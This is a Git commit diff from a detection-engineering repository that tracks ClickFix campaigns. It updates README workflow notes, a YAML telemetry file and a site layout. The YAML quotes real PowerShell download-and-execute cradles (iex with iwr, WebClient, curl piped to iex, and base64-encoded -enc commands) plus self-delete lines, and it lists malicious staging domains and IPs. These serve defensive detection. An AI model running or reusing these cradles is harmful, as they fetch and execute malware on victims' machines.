mirror of
https://github.com/iimp0ster/detection-chokepoints
synced 2026-08-09 12:41:00 +00:00
feat(site): weekly chokepoint updates and site improvements
Update 9 published chokepoints with accuracy fixes and variant additions. Update layouts, attack chains, trends pages, and framework content. Note: _config.yml, _includes/nav.html, assets/css/style.css, and index.html contain in-progress MagicSword affiliate integration -- held back from this PR. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Sonnet 4.6
parent
febf1edb32
commit
04e84dbab8
@@ -12,6 +12,30 @@ All detections are anchored to a chokepoint entry that defines the invariant, do
|
||||
|
||||
---
|
||||
|
||||
## Research workflow (vault-fed)
|
||||
|
||||
**Do not run independent ORKL research sweeps for new chokepoints.** Research enters through the Obsidian intel vault:
|
||||
|
||||
```
|
||||
/intel-pipeline → vault entity graph + Handoffs/chokepoints/
|
||||
/cp-intel-pipeline → consume handoffs → drafts/ → cp-reviewer
|
||||
```
|
||||
|
||||
### Vault paths
|
||||
|
||||
| Path | Role |
|
||||
|---|---|
|
||||
| `C:\Users\Bob\Documents\Obsidian Vault\threat_intel\Handoffs\chokepoints\` | Pending intake (invariant behavior, Sigma stubs) |
|
||||
| `...\threat_intel\Procedures\` | Command.Invocation + Artifacts source of truth |
|
||||
| `...\threat_intel\Courses-of-Action\` | Detection opportunities as COA nodes |
|
||||
| `...\threat_intel\_config\trusted_sources.yaml` | Canonical source tier registry |
|
||||
|
||||
Handoffs with `status: pending` are consumed by `/cp-intel-pipeline`. After drafting, status becomes `processed`.
|
||||
|
||||
Drafts still land under `drafts/<tactic>/<slug>/` — promotion to `chokepoints/` remains a human step.
|
||||
|
||||
---
|
||||
|
||||
## Repository Structure
|
||||
|
||||
```
|
||||
|
||||
+198
-66
@@ -3,12 +3,12 @@
|
||||
|
||||
meta:
|
||||
source: https://mhaggis.github.io/ClickGrab/
|
||||
date_range: "2025-04-17 to 2026-04-03"
|
||||
date_range: "2025-04-17 to 2026-05-19"
|
||||
total_reports: 493
|
||||
total_sites_crawled: 21507
|
||||
total_malicious: 20505
|
||||
total_domains: 2563
|
||||
generated: "2026-04-04"
|
||||
total_domains: 3177
|
||||
generated: "2026-05-19"
|
||||
|
||||
daily:
|
||||
- date: "2025-04-17"
|
||||
@@ -3990,29 +3990,29 @@ daily:
|
||||
payload_examples:
|
||||
iwr_iex:
|
||||
- date: "2025-08-14"
|
||||
text: "powershell -ep bypass -w hidden -c \"iex(iwr 'https://aatox.com/stage2.ps1' -UseBasicParsing)\""
|
||||
text: "powershell -ep bypass -w hidden -c \"iex(iwr 'hxxps://aatox[.]com/stage2.ps1' -UseBasicParsing)\""
|
||||
- date: "2025-10-22"
|
||||
text: "powershell.exe -w hidden -nop -c \"IEX (iwr -Uri 'https://irp.cdn-website.com/files/uploaded/3b7f1c/run.ps1' -UseBasicParsing).Content\""
|
||||
text: "powershell.exe -w hidden -nop -c \"IEX (iwr -Uri 'hxxps://irp[.]cdn-website[.]com/files/uploaded/3b7f1c/run.ps1' -UseBasicParsing).Content\""
|
||||
irm_iex:
|
||||
- date: "2025-05-03"
|
||||
text: "powershell -w hidden -nop -ep bypass -c \"iex(irm 'https://80.253.249.186/loader.ps1')\""
|
||||
text: "powershell -w hidden -nop -ep bypass -c \"iex(irm 'hxxps://80[.]253[.]249[.]186/loader.ps1')\""
|
||||
webclient:
|
||||
- date: "2025-12-03"
|
||||
text: "(New-Object Net.WebClient).DownloadString('https://yogasitesdev.wpengine.com/wp-content/uploads/a.ps1') | iex"
|
||||
text: "(New-Object Net.WebClient).DownloadString('hxxps://yogasitesdev[.]wpengine[.]com/wp-content/uploads/a.ps1') | iex"
|
||||
- date: "2025-11-18"
|
||||
text: "$wc=New-Object Net.WebClient; iex $wc.DownloadString('https://irp.cdn-website.com/files/uploaded/9d4e/payload.ps1')"
|
||||
text: "$wc=New-Object Net.WebClient; iex $wc.DownloadString('hxxps://irp[.]cdn-website[.]com/files/uploaded/9d4e/payload.ps1')"
|
||||
curl:
|
||||
- date: "2026-01-08"
|
||||
text: "curl.exe -s https://95.164.53.214/payload.ps1 | iex"
|
||||
text: "curl.exe -s hxxps://95[.]164[.]53[.]214/payload.ps1 | iex"
|
||||
- date: "2026-02-14"
|
||||
text: "powershell -w hidden -nop -c \"curl.exe -UseBasicParsing https://aatox.com/stg.ps1 | iex\""
|
||||
text: "powershell -w hidden -nop -c \"curl.exe -UseBasicParsing hxxps://aatox[.]com/stg.ps1 | iex\""
|
||||
base64:
|
||||
- date: "2026-01-22"
|
||||
encoded: "powershell.exe -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAn..."
|
||||
decoded: "$c=New-Object Net.WebClient; iex $c.DownloadString('https://aatox.com/run.ps1')"
|
||||
decoded: "$c=New-Object Net.WebClient; iex $c.DownloadString('hxxps://aatox[.]com/run.ps1')"
|
||||
- date: "2026-02-01"
|
||||
encoded: "powershell -w 1 -nop -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMA..."
|
||||
decoded: "IEX(New-Object Net.WebClient).DownloadString('https://irp.cdn-website.com/files/uploaded/7c2a/stage2.ps1')"
|
||||
decoded: "IEX(New-Object Net.WebClient).DownloadString('hxxps://irp[.]cdn-website[.]com/files/uploaded/7c2a/stage2.ps1')"
|
||||
self_delete:
|
||||
- date: "2025-12-19"
|
||||
text: "Start-Sleep -Seconds 2; Remove-Item -Path $MyInvocation.MyCommand.Path -Force"
|
||||
@@ -4020,14 +4020,14 @@ payload_examples:
|
||||
text: "$p=$MyInvocation.MyCommand.Path; Start-Sleep 1; Remove-Item $p -Force -ErrorAction SilentlyContinue"
|
||||
cdn_staging:
|
||||
- date: "2025-11-04"
|
||||
url: "https://irp.cdn-website.com/files/uploaded/38ef2b/setup.ps1"
|
||||
url: "hxxps://irp[.]cdn-website[.]com/files/uploaded/38ef2b/setup.ps1"
|
||||
- date: "2025-09-17"
|
||||
url: "https://irp.cdn-website.com/files/uploaded/9d4e22/loader.ps1"
|
||||
url: "hxxps://irp[.]cdn-website[.]com/files/uploaded/9d4e22/loader.ps1"
|
||||
hidden_window:
|
||||
- date: "2025-09-03"
|
||||
text: "powershell.exe -w hidden -nop -ep bypass -c \"iex(iwr 'https://aatox.com/a.ps1' -UseBasicParsing)\""
|
||||
text: "powershell.exe -w hidden -nop -ep bypass -c \"iex(iwr 'hxxps://aatox[.]com/a.ps1' -UseBasicParsing)\""
|
||||
- date: "2025-10-31"
|
||||
text: "cmd.exe /c start /min powershell -w hidden -nop -c \"(New-Object Net.WebClient).DownloadString('https://95.164.53.214/b.ps1') | iex\""
|
||||
text: "cmd.exe /c start /min powershell -w hidden -nop -c \"(New-Object Net.WebClient).DownloadString('hxxps://95[.]164[.]53[.]214/b.ps1') | iex\""
|
||||
cradles_total:
|
||||
iwr_iex: 2114
|
||||
irm_iex: 89
|
||||
@@ -4138,16 +4138,29 @@ domain_monthly:
|
||||
base64: 36
|
||||
no_url_pct: 46.5
|
||||
- month: "2026-04"
|
||||
n: 24
|
||||
iwr: 1
|
||||
n: 181
|
||||
iwr: 0
|
||||
webclient: 0
|
||||
curl: 4
|
||||
msiexec: 22
|
||||
mshta: 0
|
||||
vbs: 0
|
||||
irm: 10
|
||||
hex_xor: 37
|
||||
base64: 108
|
||||
no_url_pct: 68.5
|
||||
- month: "2026-05"
|
||||
n: 458
|
||||
iwr: 16
|
||||
webclient: 4
|
||||
curl: 2
|
||||
msiexec: 2
|
||||
mshta: 0
|
||||
vbs: 0
|
||||
hex_xor: 8
|
||||
base64: 6
|
||||
no_url_pct: 75.0
|
||||
irm: 20
|
||||
hex_xor: 15
|
||||
base64: 399
|
||||
no_url_pct: 95.2
|
||||
|
||||
staging_domains:
|
||||
# Enrichment note: ASN/geo/registrar data requires running the enrichment pipeline
|
||||
@@ -4155,139 +4168,227 @@ staging_domains:
|
||||
# only domain names and observation counts from ClickGrab are confirmed.
|
||||
# hosting_type is ONLY set when verifiable: "cdn" for known CDN subdomains,
|
||||
# "managed" for known hosting platforms. All others are "unknown" until enriched.
|
||||
- domain: "irp.cdn-website.com"
|
||||
- domain: "irp[.]cdn-website[.]com"
|
||||
count: 468
|
||||
cdn: true
|
||||
is_ip: false
|
||||
hosting_type: "cdn"
|
||||
status: "active"
|
||||
- domain: "yogasitesdev.wpengine.com"
|
||||
asn: "AS16509 Amazon.com, Inc."
|
||||
country: "United States"
|
||||
city: "Aetna Estates"
|
||||
dns_history_url: "https://securitytrails.com/domain/irp.cdn-website.com/history/a"
|
||||
- domain: "yogasitesdev[.]wpengine[.]com"
|
||||
count: 116
|
||||
cdn: false
|
||||
is_ip: false
|
||||
hosting_type: "managed"
|
||||
country: "US"
|
||||
status: "active"
|
||||
- domain: "aatox.com"
|
||||
asn: "AS396982 Google LLC"
|
||||
country: "United States"
|
||||
city: "North Charleston"
|
||||
dns_history_url: "https://securitytrails.com/domain/yogasitesdev.wpengine.com/history/a"
|
||||
- domain: "aatox[.]com"
|
||||
count: 83
|
||||
cdn: false
|
||||
is_ip: false
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "bulletproof"
|
||||
status: "unknown"
|
||||
- domain: "80.253.249.186"
|
||||
asn: "AS16509 Amazon.com, Inc."
|
||||
country: "United States"
|
||||
city: "Seattle"
|
||||
created: "2025-07-12"
|
||||
registrar: "Namepanther.com LLC"
|
||||
dns_history_url: "https://securitytrails.com/domain/aatox.com/history/a"
|
||||
- domain: "80[.]253[.]249[.]186"
|
||||
count: 43
|
||||
cdn: false
|
||||
is_ip: true
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "bulletproof"
|
||||
status: "unknown"
|
||||
- domain: "95.164.53.214"
|
||||
asn: "AS213702 QWINS LTD"
|
||||
country: "Germany"
|
||||
city: "Frankfurt am Main"
|
||||
- domain: "95[.]164[.]53[.]214"
|
||||
count: 16
|
||||
cdn: false
|
||||
is_ip: true
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "bulletproof"
|
||||
status: "unknown"
|
||||
- domain: "91.247.36.3"
|
||||
asn: "AS213702 QWINS LTD"
|
||||
country: "Germany"
|
||||
city: "Frankfurt am Main"
|
||||
- domain: "91[.]247[.]36[.]3"
|
||||
count: 4
|
||||
cdn: false
|
||||
is_ip: true
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "bulletproof"
|
||||
status: "unknown"
|
||||
- domain: "sitecariri.com.br"
|
||||
asn: "AS59729 GREEN FLOID LLC"
|
||||
country: "Bulgaria"
|
||||
city: "Sofia"
|
||||
- domain: "sitecariri[.]com[.]br"
|
||||
count: 2
|
||||
cdn: false
|
||||
is_ip: false
|
||||
hosting_type: "unknown"
|
||||
country: "BR"
|
||||
hosting_type: "compromised"
|
||||
status: "unknown"
|
||||
- domain: "fundacion-cannabis-argentina.org"
|
||||
asn: "AS13335 Cloudflare, Inc."
|
||||
country: "United States"
|
||||
city: "San Francisco"
|
||||
created: "2022-07-19"
|
||||
dns_history_url: "https://securitytrails.com/domain/sitecariri.com.br/history/a"
|
||||
- domain: "fundacion-cannabis-argentina[.]org"
|
||||
count: 2
|
||||
cdn: false
|
||||
is_ip: false
|
||||
hosting_type: "unknown"
|
||||
country: "AR"
|
||||
hosting_type: "compromised"
|
||||
status: "unknown"
|
||||
- domain: "ghenvironment.com"
|
||||
asn: "AS47583 Hostinger International Limited"
|
||||
country: "United States"
|
||||
city: "Phoenix"
|
||||
created: "2023-06-15"
|
||||
registrar: "HOSTINGER operations, UAB"
|
||||
dns_history_url: "https://securitytrails.com/domain/fundacion-cannabis-argentina.org/history/a"
|
||||
- domain: "ghenvironment[.]com"
|
||||
count: 2
|
||||
cdn: false
|
||||
is_ip: false
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "compromised"
|
||||
status: "unknown"
|
||||
- domain: "cmparazinho.rn.gov.br"
|
||||
asn: "AS13335 Cloudflare, Inc."
|
||||
country: "United States"
|
||||
city: "San Francisco"
|
||||
created: "2022-03-04"
|
||||
registrar: "Hosting Concepts B.V. d/b/a Registrar.eu"
|
||||
dns_history_url: "https://securitytrails.com/domain/ghenvironment.com/history/a"
|
||||
- domain: "cmparazinho[.]rn[.]gov[.]br"
|
||||
count: 2
|
||||
cdn: false
|
||||
is_ip: false
|
||||
hosting_type: "unknown"
|
||||
country: "BR"
|
||||
hosting_type: "compromised"
|
||||
status: "unknown"
|
||||
asn: "AS47583 Hostinger International Limited"
|
||||
country: "Brazil"
|
||||
city: "S\u00e3o Paulo"
|
||||
created: "1996-10-15"
|
||||
dns_history_url: "https://securitytrails.com/domain/cmparazinho.rn.gov.br/history/a"
|
||||
# New staging domains from ClickFix domain dataset (Apr 2026)
|
||||
- domain: "shift-art.com"
|
||||
- domain: "shift-art[.]com"
|
||||
count: 651
|
||||
cdn: false
|
||||
is_ip: false
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "bulletproof"
|
||||
status: "active"
|
||||
- domain: "ghost.nestdns.com"
|
||||
asn: "AS197695 Domain names registrar REG.RU, Ltd"
|
||||
country: "Russia"
|
||||
city: "Moscow"
|
||||
created: "2023-01-17"
|
||||
registrar: "Registrar of Domain Names REG.RU LLC"
|
||||
dns_history_url: "https://securitytrails.com/domain/shift-art.com/history/a"
|
||||
- domain: "ghost[.]nestdns[.]com"
|
||||
count: 137
|
||||
cdn: false
|
||||
is_ip: false
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "bulletproof"
|
||||
status: "active"
|
||||
- domain: "144.31.47.76"
|
||||
asn: "AS55293 A2 Hosting, Inc."
|
||||
country: "United States"
|
||||
city: "Detroit"
|
||||
dns_history_url: "https://securitytrails.com/domain/ghost.nestdns.com/history/a"
|
||||
- domain: "144[.]31[.]47[.]76"
|
||||
count: 140
|
||||
cdn: false
|
||||
is_ip: true
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "bulletproof"
|
||||
status: "active"
|
||||
- domain: "inkbookwriters.com"
|
||||
asn: "AS215439 PLAY2GO INTERNATIONAL LIMITED"
|
||||
country: "Finland"
|
||||
city: "Helsinki"
|
||||
- domain: "inkbookwriters[.]com"
|
||||
count: 112
|
||||
cdn: false
|
||||
is_ip: false
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "bulletproof"
|
||||
status: "active"
|
||||
- domain: "198.13.158.127:5506"
|
||||
asn: "AS207569 IHOR HOSTING LTD"
|
||||
country: "Finland"
|
||||
city: "Helsinki"
|
||||
created: "2025-09-22"
|
||||
registrar: "Hosting Concepts B.V. d/b/a Registrar.eu"
|
||||
dns_history_url: "https://securitytrails.com/domain/inkbookwriters.com/history/a"
|
||||
- domain: "198[.]13[.]158[.]127[:]5506"
|
||||
count: 186
|
||||
cdn: false
|
||||
is_ip: true
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "bulletproof"
|
||||
status: "active"
|
||||
- domain: "178.17.59.40:5506"
|
||||
asn: "AS399629 BL Networks"
|
||||
country: "The Netherlands"
|
||||
city: "Amsterdam"
|
||||
- domain: "178[.]17[.]59[.]40[:]5506"
|
||||
count: 64
|
||||
cdn: false
|
||||
is_ip: true
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "bulletproof"
|
||||
status: "active"
|
||||
- domain: "78.40.209.164:5506"
|
||||
asn: "AS213702 QWINS LTD"
|
||||
country: "Poland"
|
||||
city: "Warsaw"
|
||||
- domain: "78[.]40[.]209[.]164[:]5506"
|
||||
count: 40
|
||||
cdn: false
|
||||
is_ip: true
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "bulletproof"
|
||||
status: "active"
|
||||
- domain: "penguinpublishers.org"
|
||||
asn: "AS213702 QWINS LTD"
|
||||
country: "Finland"
|
||||
city: "Helsinki"
|
||||
- domain: "penguinpublishers[.]org"
|
||||
count: 56
|
||||
cdn: false
|
||||
is_ip: false
|
||||
hosting_type: "unknown"
|
||||
hosting_type: "bulletproof"
|
||||
status: "unknown"
|
||||
- domain: "bfacollege.co.in"
|
||||
asn: "AS207569 IHOR HOSTING LTD"
|
||||
country: "Finland"
|
||||
city: "Helsinki"
|
||||
created: "2025-03-05"
|
||||
registrar: "Hosting Concepts B.V. d/b/a Registrar.eu"
|
||||
dns_history_url: "https://securitytrails.com/domain/penguinpublishers.org/history/a"
|
||||
- domain: "bfacollege[.]co[.]in"
|
||||
count: 54
|
||||
cdn: false
|
||||
is_ip: false
|
||||
hosting_type: "unknown"
|
||||
country: "IN"
|
||||
hosting_type: "compromised"
|
||||
status: "unknown"
|
||||
- domain: "pizzabyte.com.au"
|
||||
asn: "AS46606 Unified Layer"
|
||||
country: "United States"
|
||||
city: "Provo"
|
||||
created: "2019-07-08"
|
||||
registrar: "Endurance International Group India Private Limited"
|
||||
dns_history_url: "https://securitytrails.com/domain/bfacollege.co.in/history/a"
|
||||
- domain: "pizzabyte[.]com[.]au"
|
||||
count: 44
|
||||
cdn: false
|
||||
is_ip: false
|
||||
hosting_type: "unknown"
|
||||
country: "AU"
|
||||
hosting_type: "compromised"
|
||||
status: "unknown"
|
||||
- domain: "raw.githubusercontent.com"
|
||||
asn: "AS30148 Sucuri"
|
||||
country: "United States"
|
||||
city: "Menifee"
|
||||
registrar: "Synergy Wholesale Accreditations Pty Ltd"
|
||||
dns_history_url: "https://securitytrails.com/domain/pizzabyte.com.au/history/a"
|
||||
- domain: "raw[.]githubusercontent[.]com"
|
||||
count: 28
|
||||
cdn: true
|
||||
is_ip: false
|
||||
hosting_type: "cdn"
|
||||
status: "active"
|
||||
asn: "AS54113 Fastly, Inc."
|
||||
country: "United States"
|
||||
city: "San Francisco"
|
||||
dns_history_url: "https://securitytrails.com/domain/raw.githubusercontent.com/history/a"
|
||||
|
||||
monthly:
|
||||
- month: "2025-04"
|
||||
@@ -4470,3 +4571,34 @@ monthly:
|
||||
self_delete: 18
|
||||
start_sleep: 18
|
||||
hidden_window: 22
|
||||
# Apr–May sourced from ClickFix Hunter domain dataset (xlsx); malicious = unique malicious domains observed
|
||||
- month: "2026-04"
|
||||
total_sites: 181
|
||||
malicious: 181
|
||||
cradles:
|
||||
iwr_iex: 0
|
||||
irm_iex: 10
|
||||
webclient: 0
|
||||
curl: 4
|
||||
evasion:
|
||||
mixed_case: 0
|
||||
base64: 108
|
||||
cdn_staging: 0
|
||||
self_delete: 0
|
||||
start_sleep: 0
|
||||
hidden_window: 0
|
||||
- month: "2026-05"
|
||||
total_sites: 458
|
||||
malicious: 458
|
||||
cradles:
|
||||
iwr_iex: 16
|
||||
irm_iex: 20
|
||||
webclient: 4
|
||||
curl: 2
|
||||
evasion:
|
||||
mixed_case: 0
|
||||
base64: 399
|
||||
cdn_staging: 0
|
||||
self_delete: 0
|
||||
start_sleep: 0
|
||||
hidden_window: 0
|
||||
|
||||
+237
-61
@@ -2,58 +2,72 @@
|
||||
layout: default
|
||||
---
|
||||
|
||||
<div class="ac-page max-w-[1280px] mx-auto px-6 py-10">
|
||||
<div class="ac-page-wrap">
|
||||
|
||||
<!-- Breadcrumb -->
|
||||
<nav class="ac-breadcrumb mb-6" aria-label="Breadcrumb">
|
||||
<a href="{{ '/attack-chains/' | relative_url }}" class="ac-back-link">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"
|
||||
fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round"
|
||||
stroke-linejoin="round" aria-hidden="true" style="display:inline;vertical-align:middle;margin-right:4px;">
|
||||
<polyline points="15 18 9 12 15 6"/>
|
||||
</svg>Attack Chains
|
||||
</a>
|
||||
</nav>
|
||||
|
||||
<!-- Header -->
|
||||
<header class="ac-header mb-8">
|
||||
<h1 class="ac-title">{{ page.title }}</h1>
|
||||
{% if page.subtitle %}<p class="ac-subtitle">{{ page.subtitle }}</p>{% endif %}
|
||||
{% if page.last_updated %}<p class="ac-meta">Last updated: {{ page.last_updated }}</p>{% endif %}
|
||||
</header>
|
||||
|
||||
<!-- Core Insight callout -->
|
||||
<div class="ac-insight mb-8" role="note">
|
||||
<div class="ac-insight-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"
|
||||
fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
<path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/>
|
||||
</svg>
|
||||
<header class="ac-detail-hero">
|
||||
<div class="ac-detail-hero-inner max-w-[1280px] mx-auto px-6">
|
||||
<div class="ac-detail-hero-top">
|
||||
<a href="{{ '/attack-chains/' | relative_url }}" class="cp-back-pill">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"
|
||||
fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round"
|
||||
stroke-linejoin="round" aria-hidden="true" style="display:inline;vertical-align:middle;margin-right:4px;">
|
||||
<polyline points="15 18 9 12 15 6"/>
|
||||
</svg>
|
||||
Attack Chains
|
||||
</a>
|
||||
{% if page.last_updated %}
|
||||
<span class="ac-detail-meta-pill">Updated {{ page.last_updated }}</span>
|
||||
{% endif %}
|
||||
</div>
|
||||
<div>
|
||||
<strong class="ac-insight-headline">The Chokepoint Convergence Principle</strong>
|
||||
<p class="ac-insight-body">
|
||||
Every actor in the matrix below follows the same sequence of stages. They <em>must</em>, because each
|
||||
stage reflects an unavoidable prerequisite condition. Their tools, loaders, and C2 infrastructure
|
||||
change constantly. The underlying chokepoints do not. Detect the prerequisite; catch any actor.
|
||||
</p>
|
||||
|
||||
<h1 class="ac-detail-title">{{ page.title }}</h1>
|
||||
{% if page.subtitle %}<p class="ac-detail-subtitle">{{ page.subtitle }}</p>{% endif %}
|
||||
|
||||
<div class="ac-insight ac-insight--hero" role="note">
|
||||
<div class="ac-insight-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"
|
||||
fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
<path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/>
|
||||
</svg>
|
||||
</div>
|
||||
<div>
|
||||
<strong class="ac-insight-headline">The Chokepoint Convergence Principle</strong>
|
||||
<p class="ac-insight-body">
|
||||
Every actor in the matrix below follows the same sequence of stages. They <em>must</em>, because each
|
||||
stage reflects an unavoidable prerequisite condition. Their tools, loaders, and C2 infrastructure
|
||||
change constantly. The underlying chokepoints do not. Detect the prerequisite; catch any actor.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div class="ac-page max-w-[1280px] mx-auto px-6 pt-8 pb-10">
|
||||
|
||||
{% if page.stages %}
|
||||
|
||||
{% if page.show_ttp_overlap %}
|
||||
<!-- TTP Overlap Filter Diagram -->
|
||||
<section class="ac-section ac-ttp-overlap-section mb-10" aria-labelledby="ttp-overlap-title">
|
||||
<h2 class="ac-section-title" id="ttp-overlap-title">TTP Overlap Across Groups</h2>
|
||||
<section class="ac-section-card ac-ttp-overlap-section" aria-labelledby="ttp-overlap-title">
|
||||
<div class="ac-section-heading-row">
|
||||
<div class="ac-section-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="2" y1="12" x2="22" y2="12"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg>
|
||||
</div>
|
||||
<h2 class="ac-section-heading" id="ttp-overlap-title">TTP Overlap Across Groups</h2>
|
||||
</div>
|
||||
{% include ttp-vertical-diagram.html %}
|
||||
</section>
|
||||
{% endif %}
|
||||
|
||||
<!-- Chokepoint Stage Cards -->
|
||||
{% if page.chokepoints %}
|
||||
<section class="ac-section mb-10">
|
||||
<h2 class="ac-section-title">Chokepoint Opportunities by Stage</h2>
|
||||
<section class="ac-section-card">
|
||||
<div class="ac-section-heading-row">
|
||||
<div class="ac-section-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
|
||||
</div>
|
||||
<h2 class="ac-section-heading">Chokepoint Opportunities by Stage</h2>
|
||||
</div>
|
||||
<p class="ac-section-desc">
|
||||
Each card shows the invariant prerequisite an attacker must satisfy at that stage,
|
||||
the top detection signals, and links to the full chokepoint analysis.
|
||||
@@ -109,10 +123,16 @@ layout: default
|
||||
|
||||
<!-- Actor Convergence Matrix -->
|
||||
{% if page.actors %}
|
||||
<section class="ac-section mb-6">
|
||||
<h2 class="ac-section-title">Actor Convergence Matrix
|
||||
<span class="ac-section-badge">{{ page.actors | size }} actors tracked</span>
|
||||
</h2>
|
||||
<section class="ac-section-card">
|
||||
<div class="ac-section-heading-row">
|
||||
<div class="ac-section-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"/><circle cx="9" cy="7" r="4"/><path d="M23 21v-2a4 4 0 0 0-3-3.87M16 3.13a4 4 0 0 1 0 7.75"/></svg>
|
||||
</div>
|
||||
<h2 class="ac-section-heading">
|
||||
Actor Convergence Matrix
|
||||
<span class="ac-section-badge">{{ page.actors | size }} actors tracked</span>
|
||||
</h2>
|
||||
</div>
|
||||
<p class="ac-section-desc">
|
||||
Different tools. Different operators. Same chokepoints. The highlighted bottom row shows the
|
||||
invariant prerequisite condition your detections must cover, regardless of which actor you're facing.
|
||||
@@ -162,12 +182,22 @@ layout: default
|
||||
{% endif %}
|
||||
|
||||
<!-- Prose content (existing markdown body) -->
|
||||
<div class="ac-prose">
|
||||
{{ content }}
|
||||
<div class="ac-section-card ac-prose-card">
|
||||
<div class="ac-section-heading-row">
|
||||
<div class="ac-section-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/></svg>
|
||||
</div>
|
||||
<h2 class="ac-section-heading">Analysis & References</h2>
|
||||
</div>
|
||||
<div class="ac-prose">
|
||||
{{ content }}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div><!-- /.ac-page-wrap -->
|
||||
|
||||
{% if page.stages %}
|
||||
{% if page.show_ttp_overlap %}
|
||||
<script src="{{ '/assets/js/ttp-filter.js' | relative_url }}" defer></script>
|
||||
@@ -175,6 +205,136 @@ layout: default
|
||||
{% endif %}
|
||||
|
||||
<style>
|
||||
/* ── Detail hero + section cards (attack chain pages) ─────────────────── */
|
||||
.ac-page-wrap { background: var(--bg); }
|
||||
|
||||
.ac-detail-hero {
|
||||
position: relative;
|
||||
padding: 3.5rem 1.5rem 3rem;
|
||||
background: var(--bg);
|
||||
overflow: hidden;
|
||||
}
|
||||
.ac-detail-hero::before {
|
||||
content: "";
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(ellipse 80% 55% at 50% -5%, rgba(240,136,62,.18) 0%, transparent 65%);
|
||||
pointer-events: none;
|
||||
}
|
||||
.ac-detail-hero::after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
bottom: 0; left: 0; right: 0;
|
||||
height: 1px;
|
||||
background: linear-gradient(to right, transparent, var(--border) 20%, var(--border) 80%, transparent);
|
||||
}
|
||||
.ac-detail-hero-inner { position: relative; }
|
||||
|
||||
.ac-detail-hero-top {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex-wrap: wrap;
|
||||
gap: .65rem;
|
||||
margin-bottom: 1.25rem;
|
||||
}
|
||||
|
||||
.ac-detail-meta-pill {
|
||||
font-family: var(--font-mono);
|
||||
font-size: .68rem;
|
||||
color: var(--text-dim);
|
||||
background: var(--bg-card);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 999px;
|
||||
padding: .3rem .75rem;
|
||||
}
|
||||
|
||||
.ac-detail-title {
|
||||
font-size: clamp(2rem, 5vw, 2.75rem);
|
||||
font-weight: 800;
|
||||
letter-spacing: -.02em;
|
||||
color: var(--text);
|
||||
line-height: 1.15;
|
||||
margin-bottom: .65rem;
|
||||
}
|
||||
|
||||
.ac-detail-subtitle {
|
||||
font-size: clamp(1rem, 2.5vw, 1.2rem);
|
||||
color: var(--accent);
|
||||
font-weight: 600;
|
||||
font-style: italic;
|
||||
line-height: 1.45;
|
||||
max-width: 820px;
|
||||
margin-bottom: 1.25rem;
|
||||
}
|
||||
|
||||
.ac-insight--hero { margin-top: .5rem; max-width: 820px; }
|
||||
|
||||
.ac-section-card {
|
||||
background: var(--bg-card);
|
||||
border: 1px solid var(--border);
|
||||
